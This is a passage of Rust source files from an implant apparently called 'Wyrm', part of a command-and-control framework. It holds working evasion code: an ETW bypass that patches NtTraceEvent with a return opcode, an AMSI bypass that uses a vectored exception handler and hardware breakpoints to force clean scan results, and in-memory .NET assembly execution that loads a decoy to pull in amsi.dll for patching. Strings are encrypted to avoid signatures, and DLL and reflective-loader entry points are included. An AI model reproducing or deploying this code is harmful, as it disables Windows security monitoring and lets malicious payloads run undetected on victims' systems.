Diagnostics::Debug::WriteProcessMemory, Threading::GetCurrentProcess, }; use crate::utils::console::print_failed; pub(super) fn etw_bypass() { #[cfg(feature = "patch_etw")] { #[cfg(debug_assertions)] use crate::utils::console::print_info; #[cfg(debug_assertions)] print_info("Patching etw.."); let _ = evade_etw_current_process_overwrite_ntdll(); } } fn evade_etw_current_process_overwrite_ntdll() -> Result<(), ExportResolveError> { let fn_addr = export_resolver::resolve_address(&sc!("ntdll.dll", 42).unwrap(), "NtTraceEvent", None)? as *mut c_void; if fn_addr.is_null() { print_failed(sc!("Error resolving NtTraceEvent, not patching ETW.", 95).unwrap()); } let handle = unsafe { GetCurrentProcess() }; let ret_opcode: u8 = 0xC3; // Have we already patched? if unsafe { *(fn_addr as *mut u8) } == 0xC3 { return Ok(()); } let size = std::mem::size_of_val(&ret_opcode); let mut bytes_written: usize = 0; let _ = unsafe { WriteProcessMemory( handle, fn_addr, &ret_opcode as *const u8 as *const c_void, size, &mut bytes_written, ) }; Ok(()) } ================================================ FILE: implant/src/evasion/mod.rs ================================================ use crate::evasion::etw::etw_bypass; pub mod amsi; mod etw; mod veh; pub fn run_evasion() { // // Note these functions are feature gated on the inside of their calls so dont worry about that :) // etw_bypass(); // // Note we do not try patch AMSI here, that should be done on demand in the process when required. AMSI is loaded as // amsi.dll. // } ================================================ FILE: implant/src/evasion/veh.rs ================================================ //! This module contains the vectored exception handler when abusing it for evasive purposes use std::ffi::c_void; use shared_no_std::export_resolver; use str_crypter::{decrypt_string, sc}; use windows_sys::Win32::{ Foundation::{EXCEPTION_BREAKPOINT, EXCEPTION_SINGLE_STEP}, System::Diagnostics::Debug::{ CONTEXT_DEBUG_REGISTERS_AMD64, EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_CONTINUE_SEARCH, EXCEPTION_POINTERS, }, }; pub(super) unsafe extern "system" fn veh_handler(p_ep: *mut EXCEPTION_POINTERS) -> i32 { let exception_record = unsafe { *(*p_ep).ExceptionRecord }; let ctx = unsafe { &mut *(*p_ep).ContextRecord }; if exception_record.ExceptionCode == EXCEPTION_BREAKPOINT { if let Some(p_amsi_scan_buf) = addr_of_amsi_scan_buf() { // Set the address we wish to monitor for a hardware breakpoint ctx.Dr0 = p_amsi_scan_buf as *const c_void as u64; // Set the bit which says Dr0 is enabled locally ctx.Dr7 |= 1; } // Increase the instruction pointer by 1, so we effectively move to the next instruction after int3 ctx.Rip += 1; // Set flags ctx.ContextFlags |= CONTEXT_DEBUG_REGISTERS_AMD64; // clear dr6 ctx.Dr6 = 0; return EXCEPTION_CONTINUE_EXECUTION; } else if exception_record.ExceptionCode == EXCEPTION_SINGLE_STEP { // Gate the exception to make sure it was our entry which triggered // to prevent false positives (which will lead to UB in the process) if (ctx.Dr6 & 0x1) == 0 { return EXCEPTION_CONTINUE_SEARCH; } // Is there any debate over which one is better...???? const AMSI_RESULT_CLEAN: u64 = 0; const _AMSI_RESULT_NOT_DETECTED: u64 = 1; // fake a return value in rax ctx.Rax = AMSI_RESULT_CLEAN as u64; // get return addr from the stack let rsp = ctx.Rsp as *const u64; let return_address = unsafe { *rsp }; // set it ctx.Rip = return_address; // simulate popping the ret from the stack ctx.Rsp += 8; // clear dr6 ctx.Dr6 = 0; return EXCEPTION_CONTINUE_EXECUTION; } // All other cases EXCEPTION_CONTINUE_SEARCH } pub(super) fn addr_of_amsi_scan_buf() -> Option<*const c_void> { match export_resolver::resolve_address(&sc!("amsi.dll", 42).unwrap(), "AmsiScanBuffer", None) { Ok(a) => return Some(a), Err(_) => { use crate::utils::console::print_failed; print_failed(sc!("Failed to find function AmsiScanBuffer..", 0xde).unwrap()); return None; } } } ================================================ FILE: implant/src/execute/dotnet.rs ================================================ use core::{ffi::c_void, iter::once, mem::zeroed, ptr::null_mut}; use shared::{task_types::DotExDataForImplant, tasks::WyrmResult}; use str_crypter::{decrypt_string, sc}; use windows_sys::{ Win32::{ Foundation::SysAllocString, System::{ ClrHosting::{CLRCreateInstance, CorRuntimeHost}, Com::SAFEARRAY, Ole::{ SafeArrayAccessData, SafeArrayCreateVector, SafeArrayDestroy, SafeArrayPutElement, SafeArrayUnaccessData, }, Variant::{VARIANT, VT_ARRAY, VT_BSTR, VT_UI1, VT_VARIANT}, }, }, core::GUID, }; use crate::{ evasion::amsi::evade_amsi, execute::ffi::{ _AppDomain, _Assembly, ICLRMetaHost, ICLRRuntimeInfo, ICorRuntimeHost, IUnknown, }, }; pub enum DotnetError { IntOverflow, ClrNotInitialised(i32), RuntimeNotInitialised(i32), CorHostNotInitialised(i32), CannotStartRuntime(i32), ArgPutFailed(i32), AssemblyDataNull, SafeArrayNotInitialised, SafeArrayAccessUnaccessFail(i32), BadEntrypoint(i32), Load3Failed(i32), AmsiEvadeFail, } impl DotnetError { fn to_string(&self) -> String { match self { DotnetError::ClrNotInitialised(i) => { format!("{} {i:#X}", sc!("CLR was not initialised.", 73).unwrap()) } DotnetError::RuntimeNotInitialised(i) => { format!( "{} {i:#X}", sc!("Runtime was not initialised.", 73).unwrap() ) } DotnetError::CorHostNotInitialised(i) => { format!( "{} {i:#X}", sc!("Cor Host was not initialised.", 73).unwrap() ) } DotnetError::CannotStartRuntime(i) => { format!("{} {i:#X}", sc!("Cannot start runtime.", 73).unwrap()) } DotnetError::AssemblyDataNull => sc!("_Assembly data was null", 73).unwrap(), DotnetError::SafeArrayNotInitialised => { sc!("SAFEARRAY could not be initialised", 73).unwrap() } DotnetError::IntOverflow => sc!( "An int overflow occurred, not continuing with operation.", 81 ) .unwrap(), DotnetError::ArgPutFailed(i) => { format!( "{} {i:#X}", sc!("Could not put args in commandline. Error code:", 73).unwrap() ) } DotnetError::SafeArrayAccessUnaccessFail(i) => { format!( "{} {i:#X}", sc!("Could not access / unaccess a SAFEARRAY:", 73).unwrap() ) } DotnetError::BadEntrypoint(i) => { format!( "{} {i:#X}", sc!("Could not get entrypoint of assembly:", 73).unwrap() ) } DotnetError::Load3Failed(i) => { format!( "{} {i:#X}", sc!("Failed to load assembly into the process:", 73).unwrap() ) } DotnetError::AmsiEvadeFail => { format!( "{}", sc!( "Failed to evade AMSI, not running dotnet code to protect you..", 79 ) .unwrap() ) } } } } const GUID_META_HOST: GUID = GUID { data1: 0x9280188d, data2: 0xe8e, data3: 0x4867, data4: [0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde], }; const GUID_RIID: GUID = GUID { data1: 0xD332DB9E, data2: 0xB9B3, data3: 0x4125, data4: [0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16], }; const GUID_RNTIME_INFO: GUID = GUID { data1: 0xBD39D1D2, data2: 0xBA2F, data3: 0x486a, data4: [0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91], }; const GUID_COR_RUNTIME: GUID = GUID { data1: 0xcb2f6722, data2: 0xab3a, data3: 0x11d2, data4: [0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e], }; const GUID_APP_DOMAIN: GUID = GUID { data1: 0x05F696DC, data2: 0x2B29, data3: 0x3663, data4: [0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13], }; /// Entry function for executing dotnet binaries in the current process. /// /// For simplicity, we accept the metadata un-decoded so the main dispatcher doesn't need to /// concern itself with the intrinsics. This function will handle that. pub fn execute_dotnet_current_process(metadata: &Option<String>) -> WyrmResult<String> { if metadata.is_none() { return WyrmResult::Err(sc!("No metadata received with command.", 87).unwrap()); } let deser = match serde_json::from_str::<DotExDataForImplant>(metadata.as_ref().unwrap()) { Ok(d) => d, Err(e) => { return WyrmResult::Err(format!( "{} {e}", sc!("Could not deserialise metadata", 76).unwrap() )); } }; match execute_dotnet_assembly(&deser.0, &deser.1) { Ok(s) => WyrmResult::Ok(s), Err(e) => WyrmResult::Err(format!( "{} {}", sc!("Error received during execution:", 56).unwrap(), e.to_string() )), } } fn execute_dotnet_assembly(buf: &[u8], args: &[String]) -> Result<String, DotnetError> { // // Load the CLR into the process and setup environment to support // let meta = create_clr_instance()?; let runtime = get_runtime_v4(meta)?; let host: *mut ICorRuntimeHost = get_cor_runtime_host(runtime)?; start_runtime(host)?; let app_domain = get_default_appdomain(host)?; let p_args = make_params(args)?; let p_sa = create_safe_array(buf)?; // Create a junk decoy safe array such that we force a load of AMSI to then patch out let decoy_buf = [0x00, 0x00, 0x00, 0x00]; let p_decoy_sa = create_safe_array(&decoy_buf)?; // // First load the decoy binary into the process; this is to bring in amsi.dll such that we can patch // it should the operator have instructed the process to do so. // After that, then we can load in the target assembly via the same load_3. // let mut sp_assembly: *mut _Assembly = null_mut(); let load_3 = unsafe { (*(*app_domain).vtable).Load_3 }; // Decoy - the result here is expected to be an error, so we dont want to check for this. let _res = unsafe { load_3(app_domain as *mut _, p_decoy_sa, &mut sp_assembly) }; // Now we can patch AMSI as it will have been loaded into the process by the above load_3 #[cfg(feature = "patch_amsi")] { if evade_amsi() == false { // We somehow failed on evading AMSI and therefore we should avoid continuing as // it could lead to a detection. return Err(DotnetError::AmsiEvadeFail); }; } // Reset assembly data and load the assembly with AMSI patched sp_assembly = null_mut(); let res = unsafe { load_3(app_domain as *mut _, p_sa, &mut sp_assembly) }; if res != 0 { return Err(DotnetError::Load3Failed(res)); } if sp_assembly.is_null() { return Err(DotnetError::AssemblyDataNull); } // // Get the entrypoint of the assembly, should be Main? // let mut entryp = null_mut(); let res = unsafe { ((*(*sp_assembly).vtable).get_EntryPoint)(sp_assembly as *mut _, &mut entryp) }; if res != 0 { return Err(DotnetError::BadEntrypoint(res)); } let mut retval = VARIANT::default(); let object = VARIANT::default(); // // Now we can call the entrypoint via Invoke_3 which runs the assembly in our process // let vt = unsafe { &(*(*entryp).vtable) }; unsafe { (vt.Invoke_3)(entryp as *mut _, object, p_args, &mut retval) }; // Dont leave the (probably) signatured dotnet asm in memory unsafe { SafeArrayDestroy(p_sa) }; Ok(sc!("Dotnet task complete and unloaded from memory", 49).unwrap()) } fn make_params(args: &[String]) -> Result<*mut SAFEARRAY, DotnetError> { let bstr_array = args_to_safe_array(args)?; let outer = unsafe { SafeArrayCreateVector(VT_VARIANT as u16, 0, 1) }; if outer.is_null() { return Err(DotnetError::SafeArrayNotInitialised); } // // Wrap the inner String[] // let mut v: VARIANT = unsafe { zeroed() }; v.Anonymous.Anonymous.vt = (VT_ARRAY | VT_BSTR) as u16; v.Anonymous.Anonymous.Anonymous.parray = bstr_array; let idx: i32 = 0; let res = unsafe { SafeArrayPutElement(outer, &idx, &mut v as *mut _ as *mut _) }; if res != 0 { return Err(DotnetError::ArgPutFailed(res)); } Ok(outer) } #[macro_export] macro_rules! put_string_in_array { ($wide:expr, $p_sa:expr, $i:expr) => {{ let res = unsafe { let p_str = SysAllocString($wide.as_ptr()); SafeArrayPutElement($p_sa, &$i as *const _ as *const i32, p_str as *const _) }; if res != 0 { return Err(DotnetError::ArgPutFailed(res)); } }}; } /// Converts arguments intended for the running assembly to a SAFEARRAY fn args_to_safe_array(args: &[String]) -> Result<*mut SAFEARRAY, DotnetError> { let mut num_args = args.len(); let mut has_args = true; if num_args == 0 { has_args = false; num_args = 1; } if num_args > u32::MAX as usize { return Err(DotnetError::IntOverflow); } let p_sa = unsafe { SafeArrayCreateVector(VT_BSTR as u16, 0, num_args as u32) }; if p_sa.is_null() { return Err(DotnetError::SafeArrayNotInitialised); } // // If we have no args, just create an empty inner with 1 element, but 0 content. // If we do have args, then iterate over them placing them properly in the array as an alloc'd WString // if !has_args { let wide = vec![0u16]; let i = 0; put_string_in_array!(wide, p_sa, i); } else { for (i, arg) in args.iter().enumerate() { let wide: Vec<u16> = arg.encode_utf16().chain(once(0)).collect(); put_string_in_array!(wide, p_sa, i); } } Ok(p_sa) } fn create_safe_array(buf: &[u8]) -> Result<*mut SAFEARRAY, DotnetError> { let p_sa = unsafe { SafeArrayCreateVector(VT_UI1 as u16, 0, buf.len() as u32) }; if p_sa.is_null() { return Err(DotnetError::SafeArrayNotInitialised); } let mut p_data = null_mut(); let res = unsafe { SafeArrayAccessData(p_sa, &mut p_data) }; if res != 0 { return Err(DotnetError::SafeArrayAccessUnaccessFail(res)); } unsafe { core::ptr::copy_nonoverlapping(buf.as_ptr(), p_data as *mut u8, buf.len()) }; let res = unsafe { SafeArrayUnaccessData(p_sa) }; if res != 0 { return Err(DotnetError::SafeArrayAccessUnaccessFail(res)); } Ok(p_sa) } fn create_clr_instance() -> Result<*mut ICLRMetaHost, DotnetError> { let mut pp_interface = null_mut(); let h_result = unsafe { CLRCreateInstance(&GUID_META_HOST, &GUID_RIID, &mut pp_interface) }; if h_result != 0 { return Err(DotnetError::ClrNotInitialised(h_result)); } Ok(pp_interface as *mut ICLRMetaHost) } fn get_runtime_v4(meta: *mut ICLRMetaHost) -> Result<*mut ICLRRuntimeInfo, DotnetError> { let vtbl = (unsafe { &*meta }).lpVtbl; let get_runtime = (unsafe { &*vtbl }).GetRuntime; let mut p_runtime: *mut c_void = null_mut(); let ver: Vec<u16> = "v4.0.30319\0".encode_utf16().collect(); let h_result = unsafe { get_runtime(meta, ver.as_ptr(), &GUID_RNTIME_INFO, &mut p_runtime) }; if h_result < 0 { return Err(DotnetError::RuntimeNotInitialised(h_result)); } Ok(p_runtime as *mut ICLRRuntimeInfo) } fn get_cor_runtime_host( runtime: *mut ICLRRuntimeInfo, ) -> Result<*mut ICorRuntimeHost, DotnetError> { let get_interface = unsafe { &*(*runtime).vtable }.GetInterface; let mut p_host: *mut c_void = core::ptr::null_mut(); let h_result = unsafe { get_interface(runtime, &CorRuntimeHost, &GUID_COR_RUNTIME, &mut p_host) }; if h_result < 0 { return Err(DotnetError::CorHostNotInitialised(h_result)); } Ok(p_host as *mut ICorRuntimeHost) } fn start_runtime(host: *mut ICorRuntimeHost) -> Result<(), DotnetError> { let v_table = unsafe { &*(*host).vtable }; let h_result = unsafe { (v_table.Start)(host) }; if h_result < 0 { Err(DotnetError::CannotStartRuntime(h_result)) } else { Ok(()) } } fn get_default_appdomain(host: *mut ICorRuntimeHost) -> Result<*mut _AppDomain, DotnetError> { let host_vtbl = unsafe { &*(*host).vtable }; let mut unk = null_mut(); let hr = unsafe { (host_vtbl.GetDefaultDomain)(host, &mut unk as *mut *mut _) }; if hr < 0 { return Err(DotnetError::CorHostNotInitialised(hr)); } let unk = unk as *mut IUnknown; let query_interface = unsafe { (*(*unk).lpVtbl).QueryInterface }; let mut appdomain_ptr: *mut c_void = null_mut(); let hr = unsafe { query_interface(unk, &GUID_APP_DOMAIN, &mut appdomain_ptr) }; if hr < 0 { return Err(DotnetError::CorHostNotInitialised(hr)); } Ok(appdomain_ptr as *mut _AppDomain) } ================================================ FILE: implant/src/execute/ffi.rs ================================================ use std::ffi::{c_long, c_void}; use windows_sys::{ Win32::{ Foundation::HANDLE, System::{Com::SAFEARRAY, Variant::VARIANT}, }, core::{BOOL, GUID}, }; #[repr(C)] pub struct IUnknownVtbl { pub QueryInterface: unsafe extern "system" fn( this: *mut IUnknown, riid: *const GUID, ppv: *mut *mut c_void, ) -> i32, pub AddRef: unsafe extern "system" fn(this: *mut IUnknown) -> u32, pub Release: unsafe extern "system" fn(this: *mut IUnknown) -> u32, } #[repr(C)] pub struct IUnknown { pub lpVtbl: *const IUnknownVtbl, } #[repr(C)] pub struct ICLRMetaHostVtbl { pub parent: IUnknownVtbl, pub GetRuntime: unsafe extern "system" fn( *mut ICLRMetaHost, pwzVersion: *const u16, riid: *const GUID, ppRuntime: *mut *mut c_void, ) -> i32, pub GetVersionFromFile: unsafe extern "system" fn(this: *mut c_void) -> i32, pub EnumerateInstalledRuntimes: unsafe extern "system" fn(this: *mut c_void, ppEnumerator: *mut *mut c_void) -> i32, pub EnumerateLoadedRuntimes: unsafe extern "system" fn(this: *mut c_void) -> i32, pub RequestRuntimeLoadedNotification: unsafe extern "system" fn(this: *mut c_void) -> i32, pub QueryLegacyV2RuntimeBinding: unsafe extern "system" fn(this: *mut c_void) -> i32, pub ExitProcess: unsafe extern "system" fn(this: *mut c_void) -> i32, } #[repr(C)] pub struct ICLRMetaHost { pub lpVtbl: *const ICLRMetaHostVtbl, } #[repr(C)] pub struct ICorRuntimeHost { pub vtable: *const ICorRuntimeHostVtbl, } #[repr(C)] pub struct ICorRuntimeHostVtbl { pub parent: IUnknownVtbl, pub CreateLogicalThreadState: unsafe extern "system" fn(this: *mut ICorRuntimeHost) -> i32, pub DeleteLogicalThreadState: unsafe extern "system" fn(this: *mut ICorRuntimeHost) -> i32, pub SwitchInLogicalThreadState: unsafe extern "system" fn(this: *mut ICorRuntimeHost, pFiberCookie: *mut u32) -> i32, pub SwitchOutLogicalThreadState: unsafe extern "system" fn(this: *mut ICorRuntimeHost, pFiberCookie: *mut *mut u32) -> i32, pub LocksHeldByLogicalThread: unsafe extern "system" fn(this: *mut ICorRuntimeHost, pCount: *mut u32) -> i32, pub MapFile: unsafe extern "system" fn( this: *mut ICorRuntimeHost, hFile: HANDLE, hMapAddress: *mut c_void, ) -> i32, pub GetConfiguration: unsafe extern "system" fn( this: *mut ICorRuntimeHost, pConfiguration: *mut *mut c_void, ) -> i32, pub Start: unsafe extern "system" fn(this: *mut ICorRuntimeHost) -> i32, pub Stop: unsafe extern "system" fn(this: *mut ICorRuntimeHost) -> i32, pub CreateDomain: unsafe extern "system" fn( this: *mut ICorRuntimeHost, pwzFriendlyName: *const u16, pIdentityArray: *mut IUnknown, pAppDomain: *mut *mut IUnknown, ) -> i32, pub GetDefaultDomain: unsafe extern "system" fn( this: *mut ICorRuntimeHost, pAppDomain: *mut *mut IUnknown, ) -> i32, pub EnumDomains: unsafe extern "system" fn(this: *mut ICorRuntimeHost, hEnum: *mut *mut c_void) -> i32, pub NextDomain: unsafe extern "system" fn( this: *mut ICorRuntimeHost, hEnum: *mut c_void, pAppDomain: *mut *mut IUnknown, ) -> i32, pub CloseEnum: unsafe extern "system" fn(this: *mut ICorRuntimeHost, hEnum: *mut c_void) -> i32, pub CreateDomainEx: unsafe extern "system" fn( this: *mut ICorRuntimeHost, pwzFriendlyName: *const u16, pSetup: *mut IUnknown, pEvidence: *mut IUnknown, pAppDomain: *mut *mut IUnknown, ) -> i32, pub CreateDomainSetup: unsafe extern "system" fn( this: *mut ICorRuntimeHost, pAppDomain: *mut *mut IUnknown, ) -> i32, pub CreateEvidence: unsafe extern "system" fn(this: *mut ICorRuntimeHost, pEvidence: *mut *mut IUnknown) -> i32, pub UnloadDomain: unsafe extern "system" fn(this: *mut ICorRuntimeHost, pAppDomain: *mut IUnknown) -> i32, pub CurrentDomain: unsafe extern "system" fn( this: *mut ICorRuntimeHost, pAppDomain: *mut *mut IUnknown, ) -> i32, } #[repr(C)] pub struct ICLRRuntimeInfo { pub vtable: *const ICLRRuntimeInfoVtbl, } #[repr(C)] pub struct ICLRRuntimeInfoVtbl { pub parent: IUnknownVtbl, pub GetVersionString: unsafe extern "system" fn( this: *mut ICLRRuntimeInfo, pwzBuffer: *mut u16, pcchBuffer: *mut u32, ) -> i32, pub GetRuntimeDirectory: unsafe extern "system" fn( this: *mut ICLRRuntimeInfo, pwzBuffer: *mut u16, pcchBuffer: *mut u32, ) -> i32, pub IsLoaded: unsafe extern "system" fn( this: *mut ICLRRuntimeInfo, hndProcess: HANDLE, pbLoaded: *mut BOOL, ) -> i32, pub LoadErrorString: unsafe extern "system" fn( this: *mut ICLRRuntimeInfo, iResourceID: u32, pwzBuffer: *mut u16, pcchBuffer: *mut u32, iLocaleID: u32, ) -> i32, pub LoadLibrary: unsafe extern "system" fn( this: *mut ICLRRuntimeInfo, pwzDllName: *const u16, ppProc: *mut *mut c_void, ) -> i32, pub GetProcAddress: unsafe extern "system" fn( this: *mut ICLRRuntimeInfo, pszProcName: *const i8, ppProc: *mut *mut c_void, ) -> i32, pub GetInterface: unsafe extern "system" fn( this: *mut ICLRRuntimeInfo, rclsid: *const GUID, riid: *const GUID, ppUnk: *mut *mut c_void, ) -> i32, pub IsLoadable: unsafe extern "system" fn(this: *mut ICLRRuntimeInfo, pbLoadable: *mut BOOL) -> i32, pub SetDefaultStartupFlags: unsafe extern "system" fn( this: *mut ICLRRuntimeInfo, dwStartupFlags: u32, pwzHostConfigFile: *const u16, ) -> i32, pub GetDefaultStartupFlags: unsafe extern "system" fn( this: *mut ICLRRuntimeInfo, pdwStartupFlags: *mut u32, pwzHostConfigFile: *mut u16, pcchHostConfigFile: *mut u32, ) -> i32, pub BindAsLegacyV2Runtime: unsafe extern "system" fn(this: *mut ICLRRuntimeInfo) -> i32, pub IsStarted: unsafe extern "system" fn( this: *mut ICLRRuntimeInfo, pbStarted: *mut BOOL, pdwStartupFlags: *mut u32, ) -> i32, } #[repr(C)] pub struct _AppDomain { pub vtable: *const _AppDomainVtbl, } #[repr(C)] pub struct _AppDomainVtbl { pub parent: IUnknownVtbl, pub GetTypeInfoCount: *const c_void, pub GetTypeInfo: *const c_void, pub GetIDsOfNames: *const c_void, pub Invoke: *const c_void, pub ToString: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32, pub Equals: *const c_void, pub GetHashCode: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut c_long) -> i32, pub GetType: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut c_void) -> i32, pub InitializeLifetimeService: *const c_void, pub GetLifetimeService: *const c_void, pub get_Evidence: *const c_void, pub set_Evidence: *const c_void, pub get_DomainUnload: *const c_void, pub set_DomainUnload: *const c_void, pub get_AssemblyLoad: *const c_void, pub set_AssemblyLoad: *const c_void, pub get_ProcessExit: *const c_void, pub set_ProcessExit: *const c_void, pub get_TypeResolve: *const c_void, pub set_TypeResolve: *const c_void, pub get_ResourceResolve: *const c_void, pub set_ResourceResolve: *const c_void, pub get_AssemblyResolve: *const c_void, pub get_UnhandledException: *const c_void, pub set_UnhandledException: *const c_void, pub DefineDynamicAssembly: *const c_void, pub DefineDynamicAssembly_2: *const c_void, pub DefineDynamicAssembly_3: *const c_void, pub DefineDynamicAssembly_4: *const c_void, pub DefineDynamicAssembly_5: *const c_void, pub DefineDynamicAssembly_6: *const c_void, pub DefineDynamicAssembly_7: *const c_void, pub DefineDynamicAssembly_8: *const c_void, pub DefineDynamicAssembly_9: *const c_void, pub CreateInstance: *const c_void, pub CreateInstanceFrom: *const c_void, pub CreateInstance_2: *const c_void, pub CreateInstanceFrom_2: *const c_void, pub CreateInstance_3: *const c_void, pub CreateInstanceFrom_3: *const c_void, pub Load: *const c_void, pub Load_2: unsafe extern "system" fn( this: *mut c_void, assemblyString: *mut u16, pRetVal: *mut *mut _Assembly, ) -> i32, pub Load_3: unsafe extern "system" fn( this: *mut c_void, rawAssembly: *mut SAFEARRAY, pRetVal: *mut *mut _Assembly, ) -> i32, pub Load_4: *const c_void, pub Load_5: *const c_void, pub Load_6: *const c_void, pub Load_7: *const c_void, pub ExecuteAssembly: *const c_void, pub ExecuteAssembly_2: *const c_void, pub ExecuteAssembly_3: *const c_void, pub get_FriendlyName: *const c_void, pub get_BaseDirectory: *const c_void, pub get_RelativeSearchPath: *const c_void, pub get_ShadowCopyFiles: *const c_void, pub GetAssemblies: *const c_void, pub AppendPrivatePath: *const c_void, pub ClearPrivatePath: *const c_void, pub ClearShadowCopyPath: *const c_void, pub SetData: *const c_void, pub GetData: *const c_void, pub SetAppDomainPolicy: *const c_void, pub SetThreadPrincipal: *const c_void, pub SetPrincipalPolicy: *const c_void, pub DoCallBack: *const c_void, pub get_DynamicDirectory: *const c_void, } #[repr(C)] pub struct _Assembly { pub vtable: *const _AssemblyVtbl, } #[repr(C)] pub struct _AssemblyVtbl { pub parent: IUnknownVtbl, pub GetTypeInfoCount: *const c_void, pub GetTypeInfo: *const c_void, pub GetIDsOfNames: *const c_void, pub Invoke: *const c_void, pub ToString: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32, pub Equals: *const c_void, pub GetHashCode: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut c_long) -> i32, pub GetType: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut c_void) -> i32, pub get_CodeBase: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32, pub get_EscapedCodeBase: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32, pub GetName: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut c_void) -> i32, pub GetName_2: *const c_void, pub get_FullName: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32, pub get_EntryPoint: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut _MethodInfo) -> i32, pub GetType_2: unsafe extern "system" fn( this: *mut c_void, name: *mut u16, pRetVal: *mut *mut c_void, ) -> i32, pub GetType_3: *const c_void, pub GetExportedTypes: *const c_void, pub GetTypes: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut SAFEARRAY) -> i32, pub GetManifestResourceStream: *const c_void, pub GetManifestResourceStream_2: *const c_void, pub GetFile: *const c_void, pub GetFiles: *const c_void, pub GetFiles_2: *const c_void, pub GetManifestResourceNames: *const c_void, pub GetManifestResourceInfo: *const c_void, pub get_Location: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32, pub get_Evidence: *const c_void, pub GetCustomAttributes: *const c_void, pub GetCustomAttributes_2: *const c_void, pub IsDefined: *const c_void, pub GetObjectData: *const c_void, pub add_ModuleResolve: *const c_void, pub remove_ModuleResolve: *const c_void, pub GetType_4: *const c_void, pub GetSatelliteAssembly: *const c_void, pub GetSatelliteAssembly_2: *const c_void, pub LoadModule: *const c_void, pub LoadModule_2: *const c_void, pub CreateInstance: unsafe extern "system" fn( this: *mut c_void, typeName: *mut u16, pRetVal: *mut VARIANT, ) -> i32, pub CreateInstance_2: *const c_void, pub CreateInstance_3: *const c_void, pub GetLoadedModules: *const c_void, pub GetLoadedModules_2: *const c_void, pub GetModules: *const c_void, pub GetModules_2: *const c_void, pub GetModule: *const c_void, pub GetReferencedAssemblies: *const c_void, pub get_GlobalAssemblyCache: *const c_void, } #[repr(C)] pub struct _MethodInfo { pub vtable: *const _MethodInfoVtbl, } #[repr(C)] pub struct _MethodInfoVtbl { pub parent: IUnknownVtbl, pub GetTypeInfoCount: *const c_void, pub GetTypeInfo: *const c_void, pub GetIDsOfNames: *const c_void, pub Invoke: *const c_void, pub ToString: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32, pub Equals: *const c_void, pub GetHashCode: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut c_long) -> i32, pub GetType: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut c_void) -> i32, pub get_MemberType: *const c_void, pub get_name: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut u16) -> i32, pub get_DeclaringType: *const c_void, pub get_ReflectedType: *const c_void, pub GetCustomAttributes: *const c_void, pub GetCustomAttributes_2: *const c_void, pub IsDefined: *const c_void, pub GetParameters: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut SAFEARRAY) -> i32, pub GetMethodImplementationFlags: *const c_void, pub get_MethodHandle: *const c_void, pub get_Attributes: *const c_void, pub get_CallingConvention: *const c_void, pub Invoke_2: *const c_void, pub get_IsPublic: *const c_void, pub get_IsPrivate: *const c_void, pub get_IsFamily: *const c_void, pub get_IsAssembly: *const c_void, pub get_IsFamilyAndAssembly: *const c_void, pub get_IsFamilyOrAssembly: *const c_void, pub get_IsStatic: *const c_void, pub get_IsFinal: *const c_void, pub get_IsVirtual: *const c_void, pub get_IsHideBySig: *const c_void, pub get_IsAbstract: *const c_void, pub get_IsSpecialName: *const c_void, pub get_IsConstructor: *const c_void, pub Invoke_3: unsafe extern "system" fn( this: *mut c_void, obj: VARIANT, parameters: *mut SAFEARRAY, pRetVal: *mut VARIANT, ) -> i32, pub get_returnType: *const c_void, pub get_ReturnTypeCustomAttributes: *const c_void, pub GetBaseDefinition: unsafe extern "system" fn(this: *mut c_void, pRetVal: *mut *mut _MethodInfo) -> i32, } ================================================ FILE: implant/src/execute/mod.rs ================================================ pub mod dotnet; mod ffi; ================================================ FILE: implant/src/lib.rs ================================================ #![feature(string_remove_matches)] #![feature(core_float_math)] #![feature(const_option_ops)] #![feature(const_trait_impl)] use windows_sys::Win32::{ Foundation::{HINSTANCE, TRUE}, System::SystemServices::DLL_PROCESS_ATTACH, }; use crate::utils::{ allocate::ProcessHeapAlloc, export_comptime::{StartType, internal_dll_start}, }; mod anti_sandbox; mod comms; mod entry; mod evasion; mod execute; mod native; mod spawn_inject; mod stubs; mod utils; mod wofs; mod wyrm; #[global_allocator] static GLOBAL_ALLOC: ProcessHeapAlloc = ProcessHeapAlloc; #[unsafe(no_mangle)] #[allow(non_snake_case)] unsafe extern "system" fn DllMain(_hmod_instance: HINSTANCE, dw_reason: u32, _: usize) -> i32 { match dw_reason { DLL_PROCESS_ATTACH => internal_dll_start(StartType::DllMain), _ => (), } TRUE } #[unsafe(no_mangle)] #[allow(non_snake_case)] /// The start function which is required for the rDLL loader to enter Wyrm unsafe extern "system" fn Start() { internal_dll_start(StartType::Rdl); } ================================================ FILE: implant/src/main.rs ================================================ #![feature(string_remove_matches)] #![feature(core_float_math)] #![feature(const_option_ops)] #![feature(const_trait_impl)] #[global_allocator] static GLOBAL_ALLOC: ProcessHeapAlloc = ProcessHeapAlloc; use entry::start_wyrm; use crate::utils::allocate::ProcessHeapAlloc; mod anti_sandbox; mod comms; mod entry; mod evasion; mod execute; mod native; mod spawn_inject; mod stubs; mod utils; mod wofs; mod wyrm; fn main() { start_wyrm(); } ================================================ FILE: 